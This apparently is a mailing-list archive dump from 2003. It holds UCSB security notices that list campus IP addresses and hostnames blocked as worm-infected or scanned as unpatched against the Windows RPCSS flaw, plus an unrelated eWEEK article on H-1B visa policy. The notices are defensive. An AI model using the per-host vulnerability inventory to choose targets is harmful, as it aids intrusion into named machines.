[KB823980 Patched, KB824146 Vulnerable] 128.111.72.174 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.72.176 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.72.177 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.72.44 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.73.240 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.73.250 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.73.253 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.75.168 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.75.235 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.75.247 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.76.239 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.77.76 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.78.113 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.78.124 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.78.59 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.79.11 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.79.20 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.80.247 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.81.35 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.82.140 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.82.146 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.82.148 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.82.196 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.82.205 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.82.63 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.83.135 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.83.202 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.9.222 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.92.198 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.92.200 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.96.55 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] *** Statistics *** Filtered Hosts ............................... 58 RPCSS Vulnerable ............................. 188 DCOM Disabled ................................ 75 Not Vulnerable ............................... 1496 Errors ....................................... 13 TCP Port 135 Closed or Host Timeout .......... 63764 TOTAL HOSTS SCANNED .......................... 65536 Todd Atkins Network Security Coordinator UCSB/Office of Information Technology Voice: (805) 893-5077 Fax: (805) 893-5051 http://www.oit.ucsb.edu/security _______________________________________________ CSF mailing list - CSF@ucsb.edu http://ucsb.edu/mailman/listinfo/csf",0,1 ,,,,"(8.9.1/8.9.1) with ESMTP id LAA21065 for ; Wed, 17 Sep 2003 11:50:29 -0700 (PDT) Received: from ucsb.edu (ucsb.edu [128.111.24.40]) by charm.physics.ucsb.edu (8.9.3/8.9.3) with ESMTP id LAA09064 for ; Wed, 17 Sep 2003 11:50:29 -0700 Received: from localhost ([127.0.0.1] helo=hub.ucsb.edu) by ucsb.edu with esmtp id 19zhNl-0005Xc-3e; Wed, 17 Sep 2003 11:50:29 -0700 Received: from hub.ucsb.edu ([128.111.24.40] helo=smtp.ucsb.edu) by ucsb.edu with esmtp TLSv1:AES256-SHA:256 id 19zhNj-0005XX-Cy for csf@ucsb.edu; Wed, 17 Sep 2003 11:50:27 -0700 Received: from security3.oit.ucsb.edu ([128.111.12.28]) by smtp.ucsb.edu with asmtp TLSv1:DES-CBC3-SHA:168 id 19zhNj-0005XT-8T for csf@ucsb.edu; Wed, 17 Sep 2003 11:50:27 -0700 Date: Wed, 17 Sep 2003 11:50:26 -0700 From: E. Todd Atkins To: csf@ucsb.edu Message-ID: <137170000.1063824626@abc.oit.ucsb.edu> X-Mailer: Mulberry/3.0.3 (Linux/x86) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; FORMAT=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline Subject: [CSF] Blocked Hosts X-BeenThere: csf@ucsb.edu X-Mailman-Version: 2.1.2 Precedence: list Reply-To: UCSB Network Security Coordinator List-Id: Computer Support Forum List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: csf-bounces@ucsb.edu Errors-To: csf-bounces@ucsb.edu X-Scanner: exiscan for exim4 (http://duncanthrax.net/exiscan/) *19zhNl-0005Xc-3e*vMY47Kqpk9k* Hello, Due to the large number of hosts that are either compromised or infected with one of the Microsoft Windows based worms, I will periodically send this announcement about hosts whose traffic is being blocked in order to suppress our involvement in the spreading of these worms as well as any other potentially malicious activity. Here is what you need to do if your host is in the list: 1. Make sure that the host has been completely cleaned up. Unless the host is completely rebuilt, please make sure that the host is not running any rogue IRC bots, FTP servers, VNC, etc. Tools like ""tcpview"" and ""procexp"" from www.sysinternals.com should help to locate any such services. 2. Send an email message to security@ucsb.edu to inform us that the host is now safe to be connected with the internet. When referring to multiple IP addresses, please list the IP addresses on separate lines. 3. If you find any rogue services running, please include the type of service and the port that it was using. Now, here is the list of blocked hosts: #Last update: Wed Sep 17 11:40:00 PDT 2003 128.111.9.125 orb125.itp.ucsb.edu 128.111.9.126 orb126.itp.ucsb.edu 128.111.9.210 128.111.9.211 dhcp211.itp.ucsb.edu 128.111.9.220 dhcp220.itp.ucsb.edu 128.111.9.230 dhcp230.itp.ucsb.edu 128.111.9.241 dhcp241.itp.ucsb.edu 128.111.29.20 meppc1.engr.ucsb.edu 128.111.34.65 pfrws-1.engr.ucsb.edu 128.111.35.220 ecipc045.engr.ucsb.edu 128.111.43.224 atlas.cs.ucsb.edu 128.111.70.109 memslab4.mee.ucsb.edu 128.111.74.158 nakamuralab8.materials.ucsb.edu 128.111.74.249 128.111.77.36 luna.crss.ucsb.edu 128.111.77.77 genetest.crss.ucsb.edu 128.111.77.82 theomac.crss.ucsb.edu 128.111.78.195 host78-195.lsdepts.ucsb.edu 128.111.79.35 sediment.mee.ucsb.edu 128.111.82.13 joshtest.chemengr.ucsb.edu 128.111.82.14 connerjs.chemengr.ucsb.edu 128.111.82.129 calimero.chemengr.ucsb.edu 128.111.82.132 seppia.chemengr.ucsb.edu 128.111.82.133 codavinci.chemengr.ucsb.edu 128.111.83.43 dh83043.chemengr.ucsb.edu 128.111.83.134 cobra.chemengr.ucsb.edu 128.111.83.137 krait.chemengr.ucsb.edu 128.111.83.242 marina.chemengr.ucsb.edu 128.111.94.30 host94-30.lsdepts.ucsb.edu 128.111.97.19 pubfloor4-002.library.ucsb.edu 128.111.103.21 otter.opl.ucsb.edu 128.111.104.155 euphrates.geog.ucsb.edu 128.111.106.15 zulu2.geog.ucsb.edu 128.111.106.101 olympia.geog.ucsb.edu 128.111.106.121 slave.geog.ucsb.edu 128.111.106.163 alexlaptop.geog.ucsb.edu 128.111.108.54 host108-54.lsdepts.ucsb.edu 128.111.108.108 host108-108.lsdepts.ucsb.edu 128.111.108.128 host108-128.lsdepts.ucsb.edu 128.111.108.158 host108-158.lsdepts.ucsb.edu 128.111.108.193 host108-193.lsdepts.ucsb.edu 128.111.108.219 host108-219.lsdepts.ucsb.edu 128.111.120.25 ip25.lmri.ucsb.edu 128.111.126.68 128.111.126.69 128.111.138.160 128.111.138.171 128.111.138.174 128.111.164.189 cyclura.mee.ucsb.edu 128.111.164.209 turtle.mee.ucsb.edu 128.111.165.27 host165-27.lsdepts.ucsb.edu 128.111.166.152 dhcp152.authnet.ucsb.edu 128.111.185.27 adriatic.ece.ucsb.edu 128.111.220.88 dhcp88.nceas.ucsb.edu 128.111.221.26 igertpc.mat.ucsb.edu 128.111.229.251 128.111.229.252 128.111.247.62 128.111.247.63 Todd Atkins Network Security Coordinator UCSB/Office of Information Technology Voice: (805) 893-5077 Fax: (805) 893-5051 http://www.oit.ucsb.edu/security _______________________________________________ CSF mailing list - CSF@ucsb.edu http://ucsb.edu/mailman/listinfo/csf",0,1 Norm Matloff ,matloff@laura.cs.ucdavis.edu,"Wed, 17 Sep 2003 16:55:54 -0700",Congress Reviews Foreign Worker Visa Programs," #eWEEK Technology News [ew_nav_logo_top.gif] [ew_nav_logo_bottom.gif] [ew_spacer.gif] [ew_nav_tagline.gif] [ew_nav_zdlogo.gif] News [ew_nav_break.gif] Reviews [ew_nav_break.gif] Opinions [ew_nav_break.gif] Case Studies [ew_nav_break.gif] Research [ew_nav_break.gif] Tools [ew_nav_break.gif] Discussions [ew_nav_search.gif] __________ [eWEEK....] [ew_nav_searcharrow.gif]-Submit [ew_nav_subcall.gif] My Account | [ew_spacer.gif] [ew_spacer.gif] [ew_spacer.gif] Home > News > Congress Reviews Foreign Worker Visa Programs [ew_spacer.gif] [ew_spacer.gif] Congress Reviews Foreign Worker Visa Programs By Caron Carlson September 17, 2003 WASHINGTON--In the boom times of the late 1990s, U.S. corporations widely turned to foreign workers to fill highly skilled jobs, particularly in the technology field. Now, in the continuing economic downturn, foreign workers are being blamed for displacing their homegrown counterparts. Wednesday, Sen. Saxby Chambliss, R-Ga., will introduce a bill crafted to close loopholes in employment visa laws, which he says allow companies to hire foreign employees and outsource them to other companies. ADVERTISEMENT IFRAME: http://ad.doubleclick.net/adi/eweek.dart/news;sz=336x280;ord=456641793 3? [news;abr=!ie;sz=336x280;ord=4566417933?] [ew_spacer.gif] ""We must make sure that our immigration policies don't have a backlash effect on displacing American workers,"" Chambliss said Tuesday. ""[The bill] will end the practice of companies who are displacing American workers."" The Senate Judiciary Committee Tuesday took a look at the role of temporary work visas in the current economy. The technology industry's use of H-1B visas dropped approximately 75 percent last year, with initial H-1B visa applications falling to 26,659 in 2002 from 105,692 in 2001, according to the Department of Homeland Security Office of Immigration Security. Despite the statistics, as unemployment rises in the United States, lawmakers are hearing from their constituents. ""I cannot tell you how many workers came up to me [in August in California] and said, 'I've been replaced by somebody I trained, and they're getting a third [the salary] of what I got,'"" Sen. Dianne Feinstein, D-Calif., said at a hearing of the Senate Judiciary Committee Tuesday. ""Wherever I go, this program comes up and somebody tells me they've been replaced, and they are angry."" Intel Corp., which employs close to 80,000 workers worldwide, hires individuals through the H1-B visa program when a position requires unique or difficult-to-find skills, Patrick Duffy, human resources attorney at Intel, told lawmakers. Beginning in 2001, Intel decreased hiring overall, but it continues to hire H-1B applicants when it cannot find qualified U.S. workers, Duffy said. The company has particular difficulty hiring U.S. citizens for positions in electrical engineering design and chemical engineering, he said. Duffy contended that the H-1B visa program does not displace U.S. workers and ultimately benefits the U.S. economy. Most of the company's H-1B visa employees studied at U.S. universities and earned masters degrees and doctorates. ""These are not temporary workers to us. The H-1B visa is just one step in making these workers U.S. workers,"" Duffy said. ""Hopefully they'll stay with Intel ... the rest of their lives."" Large corporations that rely on skilled foreign workers are urging Congress not to pass short-term fixes that will later cause problems when the economy recovers. In the boom times of the late '90s, Ingersoll-Rand Corp. had to take people off the payroll when the H-1B hiring cap was lowered, Elizabeth Dickson, adviser for Immigration Services at Ingersoll-Rand in Woodcliff Lake, N.J., told lawmakers Tuesday. ""When the [foreign worker hiring] cap reverts to 65,000, we are going to have a lot of problems that we experienced both in 1997 and 1998,"" Dickson said. ""If we have a recovering economy, what are our needs going to be long term?"" The root of the problem, according to the industry officials, is that Americans earn too few graduate degrees in the hard sciences, leaving the domestic pool of adequate engineering specializations too small. Contrary to some assertions, industry officials said they do not hire foreign workers to pay them less than they would pay Americans. Dickson told lawmakers that it is more expensive to hire foreign workers. ""We are mostly looking to hire U.S. workers. They're cheaper, and there are a lot less problems,"" Dickson said. ""In the near term we simply must have access to foreign nationals. If we want to maintain a global edge, we want to have the best and the brightest working for us in the United States."" American engineers argue that corporate America's use of H-1B visas exacerbates the problem of engineering unemployment. Abuse of the visa program, in particular, leaves qualified Americans out of work, according to John Steadman, president-elect of the IEEE-USA in Washington, D.C. ""If we continue down this path, the United States is making itself increasingly dependent of foreign technical expertise, both here and abroad,"" Steadman told lawmakers, urging the government to support programs that encourage more students--especially minorities and women--to go into the sciences. ",0,1 ,,,,"(8.9.1/8.9.1) with ESMTP id JAA31116 for ; Thu, 18 Sep 2003 09:07:17 -0700 (PDT) Received: from ucsb.edu (hub.ucsb.edu [128.111.24.40]) by charm.physics.ucsb.edu (8.9.3/8.9.3) with ESMTP id JAA19075 for ; Thu, 18 Sep 2003 09:07:16 -0700 Received: from localhost ([127.0.0.1] helo=hub.ucsb.edu) by ucsb.edu with esmtp id 1A01JN-000Epz-2t; Thu, 18 Sep 2003 09:07:17 -0700 Received: from hub.ucsb.edu ([128.111.24.40] helo=smtp.ucsb.edu) by ucsb.edu with esmtp TLSv1:AES256-SHA:256 id 1A01JJ-000EpY-NY; Thu, 18 Sep 2003 09:07:13 -0700 Received: from security3.oit.ucsb.edu ([128.111.12.28]) by smtp.ucsb.edu with asmtp TLSv1:DES-CBC3-SHA:168 id 1A01JJ-000EpU-IN; Thu, 18 Sep 2003 09:07:13 -0700 Date: Thu, 18 Sep 2003 09:07:13 -0700 From: E. Todd Atkins To: security-microsoft@ucsb.edu, csf@ucsb.edu Message-ID: <14960000.1063901233@abc.oit.ucsb.edu> X-Mailer: Mulberry/3.0.3 (Linux/x86) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; FORMAT=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline Subject: [CSF] Blocked and RPCSS Vulnerable Hosts X-BeenThere: csf@ucsb.edu X-Mailman-Version: 2.1.2 Precedence: list Reply-To: UCSB Network Security Coordinator List-Id: Computer Support Forum List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: csf-bounces@ucsb.edu Errors-To: csf-bounces@ucsb.edu X-Scanner: exiscan for exim4 (http://duncanthrax.net/exiscan/) *1A01JN-000Epz-2t*yXSJJ4HiKbM* Good Morning. Below you will find the latest list of filtered IP addresses, as well as those addresses that are still vulnerable. Here is what you need to do if your host is in the list: 1. Make sure that the host has been completely cleaned up. Unless the host is completely rebuilt, please make sure that the host is not running any rogue IRC bots, FTP servers, VNC, etc. Tools like ""tcpview"" and ""procexp"" from www.sysinternals.com should help to locate any such services. 2. Send an email message to security@ucsb.edu to inform us that the host is now safe to be connected with the internet. When referring to multiple IP addresses, please list the IP addresses on separate lines. 3. If you find any rogue services running, please include the type of service and the port that it was using. Now, here is the list of blocked hosts: *** Filtered Hosts *** 128.111.103.21 otter.opl.ucsb.edu 128.111.104.155 euphrates.geog.ucsb.edu 128.111.106.101 olympia.geog.ucsb.edu 128.111.106.121 slave.geog.ucsb.edu 128.111.106.15 zulu2.geog.ucsb.edu 128.111.106.163 alexlaptop.geog.ucsb.edu 128.111.108.108 host108-108.lsdepts.ucsb.edu 128.111.108.128 host108-128.lsdepts.ucsb.edu 128.111.108.158 host108-158.lsdepts.ucsb.edu 128.111.108.193 host108-193.lsdepts.ucsb.edu 128.111.108.219 host108-219.lsdepts.ucsb.edu 128.111.108.54 host108-54.lsdepts.ucsb.edu 128.111.120.25 ip25.lmri.ucsb.edu 128.111.126.68 128.111.126.69 128.111.138.160 128.111.138.171 128.111.138.174 128.111.164.209 turtle.mee.ucsb.edu 128.111.165.27 host165-27.lsdepts.ucsb.edu 128.111.166.152 dhcp152.authnet.ucsb.edu 128.111.185.27 adriatic.ece.ucsb.edu 128.111.221.26 igertpc.mat.ucsb.edu 128.111.229.251 128.111.229.252 128.111.234.43 ppp3.ncgia.ucsb.edu 128.111.247.62 128.111.247.63 128.111.29.20 meppc1.engr.ucsb.edu 128.111.34.65 pfrws-1.engr.ucsb.edu 128.111.35.220 ecipc045.engr.ucsb.edu 128.111.43.224 atlas.cs.ucsb.edu 128.111.69.54 ilab-04.cs.ucsb.edu 128.111.74.158 nakamuralab8.materials.ucsb.edu 128.111.74.249 128.111.77.36 luna.crss.ucsb.edu 128.111.77.77 genetest.crss.ucsb.edu 128.111.77.82 theomac.crss.ucsb.edu 128.111.78.195 host78-195.lsdepts.ucsb.edu 128.111.79.35 sediment.mee.ucsb.edu 128.111.82.129 calimero.chemengr.ucsb.edu 128.111.82.13 joshtest.chemengr.ucsb.edu 128.111.82.132 seppia.chemengr.ucsb.edu 128.111.82.133 codavinci.chemengr.ucsb.edu 128.111.82.14 connerjs.chemengr.ucsb.edu 128.111.83.134 cobra.chemengr.ucsb.edu 128.111.83.137 krait.chemengr.ucsb.edu 128.111.83.242 marina.chemengr.ucsb.edu 128.111.83.43 dh83043.chemengr.ucsb.edu 128.111.9.125 orb125.itp.ucsb.edu 128.111.9.126 orb126.itp.ucsb.edu 128.111.9.210 128.111.9.211 dhcp211.itp.ucsb.edu 128.111.9.220 dhcp220.itp.ucsb.edu 128.111.9.230 dhcp230.itp.ucsb.edu 128.111.9.241 dhcp241.itp.ucsb.edu 128.111.94.30 host94-30.lsdepts.ucsb.edu 128.111.97.19 pubfloor4-002.library.ucsb.edu *** Unpatched hosts *** 128.111.103.26 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.103.29 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.103.33 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.103.47 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.104.174 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.104.46 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.106.120 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.108.65 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.119.105 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.132.100 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.132.97 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.161.3 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.164.202 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.164.227 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.168.81 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.168.82 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.168.91 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.168.93 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.113 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.187 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.188 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.194 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.210 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.216 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.239 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.241 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.181.196 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.212 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.216 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.230 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.232 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.246 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.247 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.181.252 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.253 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.202 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.213 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.240 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.147 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.215 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.218 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.227 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.232 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.184.254 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.185.102 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.185.222 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.185.34 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.192.23 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.192.29 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.192.37 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.193.231 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.193.247 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.193.85 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.197.159 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.198.248 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.20.90 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.202.237 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.219.129 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.220.136 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.220.148 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.220.72 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.220.81 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.220.88 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.220.92 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.234.23 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.249.168 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.218 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.224 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.27.26 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.29.121 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.148 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.149 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.150 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.151 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.152 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.153 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.158 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.249 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.250 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.252 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.32.170 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.32.237 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.32.238 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.33.250 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.33.78 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.34.120 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.34.127 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.34.213 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.34.81 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.36.247 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.36.250 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.36.251 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.37.180 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.37.183 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.37.190 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.37.209 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.37.213 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.37.218 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.37.221 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.37.224 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.37.233 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.37.66 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.38.215 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.38.224 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.38.225 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.38.230 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.38.235 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.38.240 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.38.242 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.38.244 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.151 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.159 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.162 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.164 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.199 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.209 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.210 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.220 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.230 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.233 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.240 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.50.92 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.56.158 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.57.185 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.57.204 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.57.22 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.57.44 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.57.80 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.58.121 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.68.236 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.71.224 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.71.239 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.71.252 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.72.143 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.73.240 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.73.250 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.73.253 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.73.38 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.75.242 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.75.245 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.76.250 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.78.113 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.78.123 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.78.124 RPCSS Vulnerable - [KB823980 